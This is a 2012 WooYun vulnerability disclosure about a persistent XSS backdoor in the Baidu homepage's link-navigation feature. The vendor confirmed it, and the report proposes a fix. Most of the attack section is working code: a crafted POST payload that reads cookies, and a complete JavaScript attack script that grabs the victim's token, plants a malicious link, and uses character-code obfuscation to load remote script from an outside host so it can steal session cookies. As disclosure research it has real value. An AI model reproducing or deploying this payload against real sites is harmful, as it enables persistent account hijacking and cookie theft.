当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09732

漏洞标题:百度首页Xss后门-可对用户进行持久劫持

相关厂商:百度

漏洞作者: gainover

提交时间:2012-07-16 18:12

修复时间:2012-08-30 18:13

公开时间:2012-08-30 18:13

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-16: 细节已通知厂商并且等待厂商处理中
2012-07-17: 厂商已经确认,细节仅向厂商公开
2012-07-27: 细节向核心白帽子及相关领域专家公开
2012-08-06: 细节向普通白帽子公开
2012-08-16: 细节向实习白帽子公开
2012-08-30: 细节向公众公开

简要描述:

百度首页某处代码存在缺陷,导致Xss,结合www.baidu.com域下的其它Xss,可以在百度首页 实现Xss后门,从而对用户进行长久的劫持。危害很明显:受害者每次打开百度首页都会触发Xss,从而将登录信息发送给俺~~

详细说明:

1. 一直想对百度首页的这个导航功能下手,前面测试过几次,都无果。
2. 今天又手痒了,就去试了试。 首先添加一个网址。


3. 抓包,可以看到,url和name应该是可控内容。


4. 首先往url里添加了 ", > 等字符进行测试,返回错误,这说明百度在这里过滤了这些可能导致危险的特殊字符。
5. 然后我又测试了一下">,发现可以添加。


6. 但是服务器端并没有对">做什么特殊处理,该怎么输出,还是怎么输出,这样我们就没办法利用这点了。


7. 到这里,我就放弃了,打算清理战场走人,但是意外发生了。
什么意外呢?我发现,这里的2个按钮都点不了了。。如图:


8. 直觉告诉我,我加入的">一定导致了代码的某处出现问题了,从而导致按钮失效。
9. 于是开启浏览器的调试功能,刷新首页,弹出了错误提示!
可以看到是下面这句发生了问题。

baidu.json.parse=function(a){return(new Function("return ("+a+")"))()};



10. 进一步查看局部变量a的内容,可以发现 a 就是我们添加的链接数据。


定位到我们刚刚添加的那个链接处,发现了亮点, " 竟然变成了 \"


11. 顿时明了了。 我们可以推测出百度开发人员大致的代码逻辑。

A. 直接将导航数据[content]输出到首页里,用<textarea></textarea>当容器
B. 取出<textarea></textarea>里的value,需要注意的是,xx.value的方式取出 [content]时,内容里的&quot;&gt;&lt;等会被自动转变为 "><
C. 百度的开发人员应该是意识到了 B 中的这个问题,对 >,< 进行了转义,但是此处却忘了将 " 转义为 &quot;


12. 基于10和11,我们知道了&quot;会变为",因而不难构造出利用代码。

http://www.baidu.com/home/nplus/submit/nav
type 1
sort 10
url http://qzone.qq.com/&quot;,&quot;wooyun&quot;:(function(){alert(document.cookie)})(),&quot;wooyun2&quot;:&quot;
name QQ绌洪棿
page -1
from res
cmd add
bsToken 8b4c136d28cc4b8ff****2827d4005c1


13. 最后,步骤9中的a变量的内容,大概是以下形式。
..."url":"http://qzone.qq.com/","wooyun":(function(){alert(document.cookie)})(),"wooyun2":"",...
而后,被 eval("("+a+")"),从而执行我们的alert(document.cookie);
----------------------------------------------
14. 确定存在以上后门缺陷之后,我们进而找到www.baidu.com的某Flash Xss。
利用我在这里提到的技巧:http://zone.wooyun.org/content/368
构建以下利用代码。

http://xsst.sinaapp.com/baidurookit.php
http://xsst.sinaapp.com/baidurookit.php.txt


15. 当受害者打开 http://xsst.sinaapp.com/baidurookit.php 时,会调用
http://xsst.sinaapp.com/baidurookit.js

//alert("load ok! domain:"+document.domain);
//start
getBsToken();
//first obtain bsToken
function getBsToken(){
var _p=ajaxFunction();
_p.open("GET","http://www.baidu.com/",true);
_p.onreadystatechange=function(){
if (_p.readyState==4 && _p.status==200)
{
var content=_p.responseText;
var bs=(content.match(/name=bsToken\s+value="([^"]+)"/)||["",""])[1];
if(bs){
addLink(bs);
}
}
};
_p.send(null);
}
//then post data to add an evil link
function addLink(bsToken){
var _p=ajaxFunction();
_p.open("POST","http://www.baidu.com/home/nplus/submit/nav",true);
_p.setRequestHeader("Content-type","application/x-www-form-urlencoded");
_p.onreadystatechange=function(){
if (_p.readyState==4 && _p.status==200)
{
var content=_p.responseText;
if(content){
var obj=eval("("+content+")");
if(obj.errNo===0){
alert("ok~~ evil thing has been done");
}
}
}
};
_p.send("type=1&sort=10&url=http:%2F%2Fqzone.qq.com%2F%26quot;,%26quot;wooyun%26quot;:(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,101,114,46,109,101,47,119,65,71,112,107,67);document.body.appendChild(window.s)})(),%26quot;wooyun2%26quot;:%26quot;&name=%E7%99%BE%E5%BA%A6%E8%B4%B4%E5%90%A7.....&page=-1&from=res&cmd=add&bsToken="+bsToken);
}
//ajax function
//from http://www.w3school.com.cn/ajax/ajax_browsers.asp
function ajaxFunction(){
var xmlHttp;
try{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}catch (e){
// Internet Explorer
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){
//alert("您的浏览器不支持AJAX!");
return false;
}
}
}
return xmlHttp;
}
//


16. 以上代码,会自动给受害者在百度首页加上一个含有恶意代码的连接。从而调用我们自己的JS代码,获取受害者信息。
效果见漏洞证明!

漏洞证明:

测试环境Win7, IE7,IE9,Chrome
用户打开的第三方页面!触发flash xss,从而给受害者植入后门!


用户每次打开百度首页,都会触发xss后门!


得到的受害者cookies

修复方案:

在读取 textarea的value之后,对"也进行转义!

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2012-07-17 11:29

厂商回复:

xss与csrf的结合,原本添加链接处的csrf已经修复过,但以此来看修复并不完全,而对于XSS的过滤也并不全面,感谢gainover的提交,我们会尽快修复。

最新状态:

2012-07-17:更正下是XSS 与 flash xss的结合 少看了段代码 感谢gainover